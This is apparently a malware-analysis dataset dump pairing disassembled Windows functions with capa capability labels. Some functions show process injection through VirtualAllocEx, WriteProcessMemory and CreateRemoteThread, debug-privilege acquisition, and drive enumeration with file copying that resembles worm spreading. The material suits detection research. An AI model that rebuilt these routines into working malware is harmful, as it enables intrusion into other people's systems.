joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d5a6172
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x6dcfc018]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [0x6dcfc018]
add eax, edx
add eax, 0x18
mov dword [ebp - 0xc], eax
jmp 0x6d5a61e8
jmp 0x6d5a623e
jmp 0x6d5a6294
jmp 0x6d5a62ea
jmp 0x6d5a6340
jmp 0x6d5a6396
jmp 0x6d5a63ec
jmp 0x6d5a6442
jmp 0x6d5a6498
jmp 0x6d5a64ee
jmp 0x6d5a6544
jmp 0x6d5a659a
jmp 0x6d5a65f0
jmp 0x6d5a6646
jmp 0x6d5a669c
jmp 0x6d5a66f2
jmp 0x6d5a6748
jmp 0x6d5a679e
jmp 0x6d5a67f4
jmp 0x6d5a684a
jmp 0x6d5a68a0
jmp 0x6d5a68f6
jmp 0x6d5a694c
jmp 0x6d5a69a2
jmp 0x6d5a69f8
jmp 0x6d5a6a4e
mov dword [ebp - 0x14], 0
jmp 0x6d5a6aab
jmp 0x6d5a6b01
jmp 0x6d5a6b57
jmp 0x6d5a6bad
jmp 0x6d5a6c03
jmp 0x6d5a6c59
jmp 0x6d5a6caf
jmp 0x6d5a6d05
jmp 0x6d5a6d5b
jmp 0x6d5a6db1
jmp 0x6d5a6e07
jmp 0x6d5a6e5d
jmp 0x6d5a6eb3
jmp 0x6d5a6f09
jmp 0x6d5a6f5f
jmp 0x6d5a6fb5
jmp 0x6d5a700b
jmp 0x6d5a7061
jmp 0x6d5a70b7
jmp 0x6d5a710d
jmp 0x6d5a7163
jmp 0x6d5a71b9
jmp 0x6d5a720f
jmp 0x6d5a7265
jmp 0x6d5a72bb
jmp 0x6d5a7311
mov dword [ebp - 0x18], 0
jmp 0x6d5a736e
jmp 0x6d5a73c4
jmp 0x6d5a741a
jmp 0x6d5a7470
jmp 0x6d5a74c6
jmp 0x6d5a751c
jmp 0x6d5a7572
jmp 0x6d5a75c8
jmp 0x6d5a761e
jmp 0x6d5a7674
jmp 0x6d5a76ca
jmp 0x6d5a7720
jmp 0x6d5a7776
jmp 0x6d5a77cc
jmp 0x6d5a7822
jmp 0x6d5a7878
jmp 0x6d5a78ce
jmp 0x6d5a7924
jmp 0x6d5a797a
jmp 0x6d5a79d0
jmp 0x6d5a7a26
jmp 0x6d5a7a7c
jmp 0x6d5a7ad2
jmp 0x6d5a7b28
jmp 0x6d5a7b7e
jmp 0x6d5a7bd4
mov dword [ebp - 0x10], 0
jmp 0x6d5a7c31
jmp 0x6d5a7c87
jmp 0x6d5a7cdd
jmp 0x6d5a7d33
jmp 0x6d5a7d89
jmp 0x6d5a7ddf
jmp 0x6d5a7e35
jmp 0x6d5a7e8b
jmp 0x6d5a7ee1
jmp 0x6d5a7f37
jmp 0x6d5a7f8d
jmp 0x6d5a7fe3
jmp 0x6d5a8039
jmp 0x6d5a808f
jmp 0x6d5a80e5
jmp 0x6d5a813b
jmp 0x6d5a8191
jmp 0x6d5a81e7
jmp 0x6d5a823d
jmp 0x6d5a8293
jmp 0x6d5a82e9
jmp 0x6d5a833f
jmp 0x6d5a8395
jmp 0x6d5a83eb
jmp 0x6d5a8441
jmp 0x6d5a8497
mov dword [ebp - 0x10], 0
jmp 0x6d5ab097
jmp 0x6d5a84f9
jmp 0x6d5a854f
jmp 0x6d5a85a5
jmp 0x6d5a85fb
jmp 0x6d5a8651
jmp 0x6d5a86a7
jmp 0x6d5a86fd
jmp 0x6d5a8753
jmp 0x6d5a87a9
jmp 0x6d5a87ff
jmp 0x6d5a8855
jmp 0x6d5a88ab
jmp 0x6d5a8901
jmp 0x6d5a8957
jmp 0x6d5a89ad
jmp 0x6d5a8a03
jmp 0x6d5a8a59
jmp 0x6d5a8aaf
jmp 0x6d5a8b05
jmp 0x6d5a8b5b
jmp 0x6d5a8bb1
jmp 0x6d5a8c07
jmp fcn.6d5a8c5d
mov eax, dword [0x6dcfc018]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x10]
ja 0x6d5a84a3
nop
leave
ret
Function at 0x10003939
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x5b23074
call fcn.1001dc04
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x1184]
mov dword [ebp - 4], 0x28
call fcn.1000ca19
lea ecx, [esi + 0x1114]
mov byte [ebp - 4], 0x27
call fcn.1000ca19
lea ecx, [esi + 0x10a4]
mov byte [ebp - 4], 0x26
call fcn.1000ca19
cmp dword [esi + 0x109c], 0xffffffff
lea ecx, [esi + 0x109c]
mov byte [ebp - 4], 0x25
je 0x10003992
call fcn.10003bd5
lea ecx, [esi + 0x105c]
mov byte [ebp - 4], 0x24
call fcn.1000d0a9
lea ecx, [esi + 0x101c]
mov byte [ebp - 4], 0x23
call fcn.1000d0a9
lea ecx, [esi + 0xfac]
mov byte [ebp - 4], 0x22
call fcn.1000ca19
lea ecx, [esi + 0xf7c]
mov byte [ebp - 4], 0x21
call fcn.1000cf16
lea ecx, [esi + 0xf58]
mov byte [ebp - 4], 0x20
call fcn.1000cf16
lea ecx, [esi + 0xf34]
mov byte [ebp - 4], 0x1f
call fcn.1000cf16
lea ecx, [esi + 0xf10]
mov byte [ebp - 4], 0x1e
call fcn.1000cf16
lea ecx, [esi + 0xeec]
mov byte [ebp - 4], 0x1d
call fcn.1000cf16
lea ecx, [esi + 0xec8]
mov byte [ebp - 4], 0x1c
call fcn.1000cf16
lea ecx, [esi + 0xea4]
mov byte [ebp - 4], 0x1b
call fcn.1000cf16
lea ecx, [esi + 0xe80]
mov byte [ebp - 4], 0x1a
call fcn.1000cf16
lea ecx, [esi + 0xe5c]
mov byte [ebp - 4], 0x19
call fcn.1000cf16
lea ecx, [esi + 0xe34]
mov byte [ebp - 4], 0x18
call fcn.1000cf16
lea ecx, [esi + 0xe10]
mov byte [ebp - 4], 0x17
call fcn.1000cf16
lea ecx, [esi + 0xde4]
mov byte [ebp - 4], 0x16
call fcn.1000d080
lea ecx, [esi + 0xdc0]
mov byte [ebp - 4], 0x15
call fcn.1000cf16
lea ecx, [esi + 0xd9c]
mov byte [ebp - 4], 0x14
call fcn.1000cf16
lea ecx, [esi + 0xd78]
mov byte [ebp - 4], 0x13
call fcn.1000cf16
lea ecx, [esi + 0xd54]
mov byte [ebp - 4], 0x12
call fcn.1000cf16
lea ecx, [esi + 0xd30]
mov byte [ebp - 4], 0x11
call fcn.1000cf16
lea ecx, [esi + 0xd0c]
mov byte [ebp - 4], 0x10
call fcn.1000cf16
lea ecx, [esi + 0xce8]
mov byte [ebp - 4], 0xf
call fcn.1000cf16
lea ecx, [esi + 0xcc4]
mov byte [ebp - 4], 0xe
call fcn.1000cf16
lea ecx, [esi + 0xca0]
mov byte [ebp - 4], 0xd
call fcn.1000cf16
lea ecx, [esi + 0xc7c]
mov byte [ebp - 4], 0xc
call fcn.1000cf16
lea ecx, [esi + 0xc58]
mov byte [ebp - 4], 0xb
call fcn.1000cf16
lea ecx, [esi + 0xc34]
mov byte [ebp - 4], 0xa
call fcn.1000cf16
lea ecx, [esi + 0xc10]
mov byte [ebp - 4], 9
call fcn.1000cf16
lea ecx, [esi + 0xbe8]
mov byte [ebp - 4], 8
call fcn.1000cf16
lea ecx, [esi + 0xbc0]
mov byte [ebp - 4], 7
call fcn.1000cf16
lea ecx, [esi + 0xb9c]
mov byte [ebp - 4], 6
call fcn.1000cf16
lea ecx, [esi + 0xb2c]
mov byte [ebp - 4], 5
call fcn.1000ca19
lea ecx, [esi + 0xabc]
mov byte [ebp - 4], 4
call fcn.1000ca19
lea ecx, [esi + 0xa7c]
mov byte [ebp - 4], 3
call fcn.1000d0a9
lea ecx, [esi + 0x9e4]
mov byte [ebp - 4], 2
call fcn.1000ca19
lea ecx, [esi + 0x970]
mov byte [ebp - 4], 1
call fcn.1000ca19
and byte [ebp - 4], 0
lea ecx, [esi + 0x900]
call fcn.1000ca19
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.10003bed
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x4028dc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403a44
test esi, esi
jne 0x402912
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_1
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403b34
jmp 0x402930
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004027f0
mov edi, eax
test esi, esi
je 0x402930
cmp dword [ebx], 0
je 0x402930
dec esi
jmp 0x402919
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402e30
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x416020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402ec8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402ea8
xor eax, eax
push ebp
push 0x402ea1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402ee4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402ea8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x416020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x416020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4038c8
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x417044], 0
je 0x403929
cmp word [0x417218], 0xd7b2
jne 0x4038f1
cmp dword [0x417220], 0
jbe 0x4038f1
mov eax, 0x417214
call dword [0x417230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x41606c
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403950
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x416030], 0
jne 0x403945
push 0
push 0x416064
push 0x41606c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x404d50
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA_1
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404f80
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x404dd3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404f80
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x404dd3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404f9c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404e5c
xor eax, eax
push ebp
push 0x404e55
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00404b98
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404e3a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404fbc
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404e3a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404e5c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_GetThreadLocale_1
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404f76
cmp byte [ebp - 0xd], 0
jne 0x404ea3
cmp byte [ebp - 0x12], 0
je 0x404f76
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404ebc
dec ebx
cmp byte [ebx], 0x2e
je 0x404ecb
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404ebb
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404f76
inc ebx
cmp byte [ebp - 0x12], 0
je 0x404f08
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404f76
cmp byte [ebp - 0xd], 0
je 0x404f76
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404f76
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405618
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40567e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403cb4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402a24
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405668
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405685
lea eax, [ebp - 0x10]
call fcn.00403a44
ret

Function at 0x409c5c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x409c95
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403b34
jmp 0x409c9e
mov eax, ebx
mov edx, esi
call fcn.00403a98
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409ca8
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x409cc9
mov al, byte [esp]
jmp 0x409ccb
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b0f4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40b158
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00403cb4
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_GetACP
mov edx, eax
pop eax
call fcn.00406f9c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b15f
lea eax, [ebp - 0xc]
call fcn.00403a44
ret

Function at 0x4130f8
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push ebp
push 0x41318b
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 1
lea ebx, [esi + 0x41]
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403c2c
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, 0x4131a4
call fcn.00403d2c
mov eax, dword [ebp - 4]
call fcn.00403ee0
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
cmp ax, 3
je 0x413156
cmp ax, 4
je 0x413156
cmp ax, 2
jne 0x41316a
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00403c2c
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.00403ce8
inc esi
cmp esi, 0x1a
jne 0x413119
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x413192
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403a68
ret
Function at 0x4131a8
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x4131b0
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ed0
xor eax, eax
push ebp
push 0x413354
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00403ce0
test eax, eax
jle 0x41332c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 1
lea eax, [ebp - 0x14]
push eax
mov ecx, 1
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00403f40
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 8]
mov ecx, 0x41336c
call fcn.00403d2c
xor eax, eax
push ebp
push 0x413316
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
mov ecx, 0x413378
mov edx, dword [ebp - 8]
call fcn.00403d2c
mov eax, dword [ebp - 0x18]
call fcn.0040730c
test al, al
je 0x413277
push 0x80
lea eax, [ebp - 0x1c]
mov ecx, 0x413378
mov edx, dword [ebp - 8]
call fcn.00403d2c
mov eax, dword [ebp - 0x1c]
call fcn.00403ee0
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
lea eax, [ebp - 0x20]
mov ecx, 0x413378
mov edx, dword [ebp - 8]
call fcn.00403d2c
mov eax, dword [ebp - 0x20]
call fcn.00407410
mov eax, dword [ebp - 8]
call fcn.00413394
push 0xffffffffffffffff
push dword [ebp - 8]
push 0x413390
lea edx, [ebp - 0x2c]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x28]
call fcn.004074cc
push dword [ebp - 0x28]
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00403da0
mov eax, dword [ebp - 0x24]
call fcn.00403ee0
push eax
lea edx, [ebp - 0x30]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x30]
call fcn.00403ee0
push eax
call sub.KERNEL32.DLL_CopyFileA
push 7
push dword [ebp - 8]
push 0x413390
lea edx, [ebp - 0x3c]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x38]
call fcn.004074cc
push dword [ebp - 0x38]
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00403da0
mov eax, dword [ebp - 0x34]
call fcn.00403ee0
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x413320
inc dword [ebp - 0xc]
dec dword [ebp - 0x10]
jne 0x4131ee
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41335b
lea eax, [ebp - 0x3c]
mov edx, 0xb
call fcn.00403a68
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403a68
ret
Function at 0x413394
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ed0
xor eax, eax
push ebp
push 0x413463
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x413439
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x413478
push 0x413480
mov ecx, dword [0x417660]
mov dl, 1
mov eax, dword [0x40ff38]
call fcn.00412478
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
mov ecx, 0x413490
mov edx, dword [ebp - 4]
call fcn.00403d2c
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.004122ac
push 7
lea eax, [ebp - 0x10]
mov ecx, 0x413490
mov edx, dword [ebp - 4]
call fcn.00403d2c
mov eax, dword [ebp - 0x10]
call fcn.00403ee0
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x413440
mov eax, dword [ebp - 8]
call fcn.00402f90
ret

Function at 0x413534
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
xor eax, eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
xor eax, eax
push ebp
push 0x413691
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x41369c
push 0
push 0
call fcn.004059a4
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x413591
push 0
call sub.user32.dll_PostQuitMessage
jmp 0x413673
mov eax, dword [0x416470]
push eax
lea edx, [ebp - 0x108]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x108]
call fcn.00403ee0
push eax
call sub.KERNEL32.DLL_GetCompressedFileSizeA
mov edx, dword [0x416500]
mov dword [edx], eax
push 0xff
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea edx, [ebp - 0x10c]
lea eax, [ebp - 0x104]
call fcn.00407704
mov edx, dword [ebp - 0x10c]
mov eax, 0x417c50
call fcn.00403a98
lea edx, [ebp - 0x110]
lea eax, [ebp - 0x104]
call fcn.00407704
push dword [ebp - 0x110]
push 0x4136b0
lea edx, [ebp - 0x118]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x118]
lea edx, [ebp - 0x114]
call fcn.004074cc
push dword [ebp - 0x114]
mov eax, 0x4178dc
mov edx, 3
call fcn.00403da0
mov eax, 0x4136bc
call fcn.0041409c
push 0xa
call sub.KERNEL32.DLL_Sleep
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x413cf0
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
call fcn.004134d8
test al, al
jne 0x413673
call fcn.00414a6c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x413698
lea eax, [ebp - 0x118]
mov edx, 5
call fcn.00403a68
ret
Function at 0x41409c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ed0
xor eax, eax
push ebp
push 0x414241
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00403ee0
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.00403c3c
mov eax, dword [ebp - 0x10]
call fcn.00413f24
mov ebx, eax
mov al, 1
call fcn.004142ac
push ebx
push 0
push 0x2a
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x414223
call sub.KERNEL32.DLL_GetCurrentProcessId
mov dword [0x417900], eax
push 0x414250
call sub.KERNEL32.DLL_GetModuleHandleA_1
mov esi, eax
push 0x41425c
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4178e4], eax
push 0x414268
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4178e8], eax
push 0x41427c
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4178ec], eax
push 0x41428c
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4178f0], eax
push 0x414298
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4178f4], eax
push 0x4142a4
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4178f8], eax
mov eax, dword [0x4178e0]
call fcn.00403ce0
push eax
mov eax, dword [0x4178e0]
call fcn.00403ee0
mov edx, eax
mov eax, 0x417908
pop ecx
call fcn.00407624
mov eax, dword [0x4178dc]
call fcn.00403ce0
push eax
mov eax, dword [0x4178dc]
call fcn.00403ee0
mov edx, eax
mov eax, 0x417a08
pop ecx
call fcn.00407624
mov esi, 0xd90
push 0x40
push 0x1000
push esi
push 0
push ebx
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push esi
push 0x4178e4
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.KERNEL32.DLL_WriteProcessMemory
mov esi, 0x5000
push 0x40
push 0x1000
push esi
push 0
push ebx
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push esi
push 0x413e94
push edi
push ebx
call sub.KERNEL32.DLL_WriteProcessMemory
push 0x417c48
push 0
mov eax, dword [ebp - 8]
push eax
push edi
push 0
push 0
push ebx
call sub.KERNEL32.DLL_CreateRemoteThread
mov dword [0x417c4c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414248
lea eax, [ebp - 0x10]
call fcn.00403a44
lea eax, [ebp - 4]
call fcn.00403a44
ret
Function at 0x4142ac
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe4
mov byte [esp], al
xor ebx, ebx
lea eax, [esp + 4]
push eax
push 0x20
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x41432e
mov dword [esp + 0xc], 1
lea eax, [esp + 0x10]
push eax
push 0x414338
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp byte [esp], 0
je 0x4142f4
mov dword [esp + 0x18], 2
jmp 0x4142fa
xor eax, eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0
push 0x10
lea eax, [esp + 0x18]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.KERNEL32.DLL_GetLastError
test eax, eax
sete bl
mov eax, dword [esp + 4]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
add esp, 0x1c
pop ebx
ret

Function at 0x414a6c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x414b61
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x10c]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 0xc]
push eax
lea edx, [ebp - 0x110]
lea eax, [ebp - 0x10c]
call fcn.00407704
mov eax, dword [ebp - 0x110]
mov ecx, 1
mov edx, 1
call fcn.00403f40
lea eax, [ebp - 8]
call fcn.004145c8
mov eax, dword [ebp - 8]
call fcn.00403ce0
mov ebx, eax
test ebx, ebx
jle 0x414b36
mov esi, 1
lea eax, [ebp - 4]
push eax
mov ecx, 1
mov edx, esi
mov eax, dword [ebp - 8]
call fcn.00403f40
lea eax, [ebp - 0x114]
mov ecx, 0x414b78
mov edx, dword [ebp - 4]
call fcn.00403d2c
mov eax, dword [ebp - 0x114]
mov edx, 0x414b84
call fcn.00414758
push 0x3e8
call sub.KERNEL32.DLL_Sleep
inc esi
dec ebx
jne 0x414af2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414b68
lea eax, [ebp - 0x114]
mov edx, 2
call fcn.00403a68
lea eax, [ebp - 0xc]
mov edx, 3
